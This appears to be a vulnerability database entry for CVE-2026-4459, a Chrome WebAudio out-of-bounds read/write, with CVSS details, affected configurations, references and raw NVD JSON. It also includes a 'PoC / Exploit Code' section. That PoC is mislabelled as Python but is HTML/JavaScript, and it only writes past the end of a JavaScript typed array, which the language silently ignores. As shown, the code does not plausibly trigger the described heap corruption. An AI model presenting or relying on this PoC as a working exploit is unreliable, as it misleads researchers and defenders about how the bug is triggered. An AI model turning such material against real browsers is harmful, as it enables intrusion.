CVE-2026-4459

Description

Out of bounds read and write in WebAudio in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.153

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-4459: Chrome WebAudio Out-of-Bounds Read/Write
Description: This script attempts to trigger the vulnerability by manipulating AudioBuffer.
Usage: Open in a vulnerable version of Google Chrome (< 146.0.7680.153)
-->
<html>
<body>
<script>
  try {
    // Create AudioContext
    const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
    
    // Create a buffer with specific length
    const bufferSize = 0x1000;
    const buffer = audioCtx.createBuffer(1, bufferSize, 48000);
    const data = buffer.getChannelData(0);
    
    // Attempt to access out of bounds index to trigger the bug
    // This may cause a crash or heap corruption
    console.log("Attempting OOB write...");
    for (let i = 0; i < bufferSize + 0x10; i++) {
        data[i] = 1.234; 
    }
    
    console.log("PoC executed. Check browser stability.");
  } catch (e) {
    console.error("PoC execution failed:", e);
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4459
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4459
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4459/
[4] VulDB https://vuldb.com/cve/CVE-2026-4459
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html
[6] https://issues.chromium.org/issues/490246422

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4459", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:39.197", "lastModified": "2026-03-20T17:58:07.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read and write in WebAudio in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)"}, {"lang": "es", "value": "Lectura y escritura fuera de límites en WebAudio en Google Chrome anterior a 146.0.7680.153 permitió a un atacante remoto potencialmente explotar corrupción de la pila a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Alta)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.153", "matchCriteriaId": "3526166A-E44B-47EE-8E47-1C1937CB2B87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/490246422", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}